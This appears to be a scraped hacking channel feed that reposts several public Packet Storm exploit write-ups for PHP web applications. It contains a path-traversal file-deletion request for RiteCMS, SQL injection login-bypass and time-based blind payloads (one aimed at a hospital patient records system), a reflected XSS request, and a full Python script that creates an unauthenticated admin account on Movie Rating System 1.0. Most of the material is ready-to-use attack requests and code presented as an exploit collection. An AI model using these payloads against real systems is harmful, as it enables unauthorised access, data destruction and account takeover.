Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: RiteCMS 3.1.0 - Arbitrary File Deletion (Authenticated)
# Date: 25/07/2021
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://ritecms.com/
# Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
# Version: <=
# Google Dork: intext:"Powered by RiteCMS"
# Tested on: Windows 10, Ubuntu 18, XAMPP
# Reference: https://gist.github.com/faisalfs10x/5514b3eaf0a108e27f45657955e539fd
################
# Description  #
################

# RiteCMS version 3.1.0 and below suffers from an arbitrary file deletion vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.
#####################################################
# PoC to delete secretConfig.conf file in web root  #
#####################################################
Steps to Reproduce:

1. Login as admin
2. Go to File Manager
3. Delete any file
4. Intercept the request and replace current file name to any files on the server via parameter "delete".

# Assumed there is a secretConfig.conf file in web root

PoC: param delete - Deleting secretConfig.conf file in web root, so the payload will be "../secretConfig.conf"

Request:
========

GET /ritecms.v3.1.0/admin.php?mode=filemanager&directory=media&delete=../secretConfig.conf&confirmed=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost/ritecms.v3.1.0/admin.php?mode=filemanager
Cookie: PHPSESSID=vs8iq0oekpi8tip402mk548t84
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

RiteCMS 3.1.0 Arbitrary File Deletion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

7 views18:17

Hacking Articles Tips Tricks Videos Tutorials

7 views18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Nettmp NNT 5.1 SQL Injection

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Nettmp NNT version 5.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | ecd2cd7737dd5aec54368728d4596e0a

Download

# Exploit Title: Nettmp NNT 5.1 - SQLi Authentication Bypass
# Date: 23/12/2021
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://wiki.nettemp.tk
# Software Link: https://wiki.nettemp.tk
# Version: nettmp NNT
# Tested on: Linux (Ubuntu 20.04)

Payload:

username: 1' or 1=1;--
password: \

Proof of Concept:

POST /index.php?id=status HTTP/1.1
Host: vuln.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://vuln.com
DNT: 1
Connection: close
Referer: http://vulnIP/index.php?id=status
Cookie: PHPSESSID=v8hmih4u92mftquen8gtvpstsq
Upgrade-Insecure-Requests: 1

username=1%27+or+1%3D1%3B--&password=%5C&form_login=log

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Nettmp NNT 5.1 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Library System In PHP 1.0 Cross Site Scripting

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Library System in PHP version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 8ef71abb9929b9725860901152153f3e

Download

# Exploit Title: Library System in PHP 1.0 - 'publisher name' Stored Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 03-OCT-2021
# Exploit Author: Akash Rajendra Patil
# Vendor Homepage: https://www.yahoobaba.net/project/library-system-in-php
# Software Link: https://www.yahoobaba.net/project/library-system-in-php
# Version: V 1.0
# Tested on: WAMPP
# Description #

Library System in PHP V1.0 is vulnerable to stored cross site scripting because of insufficient user supplied data sanitisation.

# Proof of Concept (PoC) :
#Exploit:
1) Goto: http://localhost/library-system/dashboard.php
2) Login as admin using test credentials: admin/admin
3) Goto: http://localhost/library-system/update-publisher.php?pid=12
4) Enter the following payload in the publisher field: 
5) Click on Save
6) Our payload is fired and stored

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Library System In PHP 1.0 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

8 views18:17

Hacking Articles Tips Tricks Videos Tutorials

9 views18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Movie Rating System 1.0 Broken Access Control

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Movie Rating System version 1.0 suffers from a broken access control that allows for administrative account creation.

MD5 | 3f0f506be9166f5bf22132c3720e3e6e

Download

# Exploit Title: Movie Rating System 1.0 - Broken Access Control (Admin Account Creation) (Unauthenticated)
# Date: 22/12/2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/15104/sentiment-based-movie-rating-system-using-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Windows

import requests
import json

url = input('Url:')
if not url.startswith('http://') and not url.startswith('https://'):
url = "http://" + url
if not url.endswith('/'):
url = url + "/"

Username = "tago"
Password = "tagoletta"

reqUrl = url + "classes/Users.php?f=save"

reqHeaders = {
"Accept": "*/*",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryTagmac",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
"Origin": url}

reqData = "------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nTago\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nLetta\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+Username+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n"+Password+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n1\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"img\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryTagmac--\r\n"

resp = requests.post(reqUrl, headers=reqHeaders, data=reqData)

if resp.status_code == 200:
print("Admin account created")
reqUrl = url + "classes/Login.php?f=login"

reqHeaders = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
"Origin": url
}

reqData = {"username": ""+Username+"", "password": ""+Password+""}

resp = requests.post(reqUrl, headers=reqHeaders, data=reqData)

data = json.loads(resp.text)
status = data["status"]

if status == "success":
print("Login Successfully\nUsername:"+ Username+"\nPassword:"+Password)
else:
print("Exploited but not loginned")
else:
print("Not injectable")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Movie Rating System 1.0 Broken Access Control

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Safari Montage 8.5 Cross Site Scripting

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Safari Montage version 8.5 suffers from a cross site scripting vulnerability.

MD5 | 4f650c4f8f144a943aa4f0d6ed44f6d7

Download

# Exploit Title: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)
# Date: 28/12/2021
# Exploit Author: Momen Eldawakhly - Cyber Guy - (Resecurity Inc)
# Vendor Homepage: https://www.safarimontage.com/
# Version: 8.3 and 8.5
# Tested on: Ubuntu Linux [Firefox]
# CVE: CVE-2021-45425

# Proof of Concept:

GET /redirect.php?cmd=invalid%27%22()%26%25%3C/body%3E%3CScRiPt%3Ealert(document.cookie)%3C/ScRiPt%3E&ret=3 HTTP/1.1
Host: vulnIP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=SSSION; lang=en
Connection: close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Safari Montage 8.5 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
RiteCMS 3.1.0 Arbitrary File Overwrite

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

RiteCMS 3.1.0 Arbitrary File Overwrite

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

9 views18:17

Hacking Articles Tips Tricks Videos Tutorials

8 views18:17

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
cWifi Hotspot Wireless CP Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

cWifi Hotspot Wireless CP Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Hospitals Patient Records Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
Hospitals Patient Records Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | b318587cf84726625fbb34fb7c3dc04c

Download

# Exploit Title: Hospitalss Patient Records Management System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 30/12/2021
# Exploit Author: twseptian
# Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip
# Version: v1.0
# Tested on: Kali Linux 2021.4

*SQL Injection*
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Hospital's Patient Records Management System v1.0 is vulnerable to SQL injection via the 'id' parameter on the patient list.

*Attack Vector*
An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.

*Steps to reproduce:*
Step-1: On the dashboard navigate to 'Patient List', then go to 'Action' > 'View Records' page using the following URL:
http://localhost/hprms/admin/?page=patients/view_patient&id=1

Step-2: Put the SQL Injection payloads in 'id' field.
time-based blind payload : page=patients/view_patient&id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))ixec) AND 'XcAY'='XcAY

Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Hospitals Patient Records Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

7 views18:17

Hacking Articles Tips Tricks Videos Tutorials

7 views18:17

About

Blog

Apps

Platform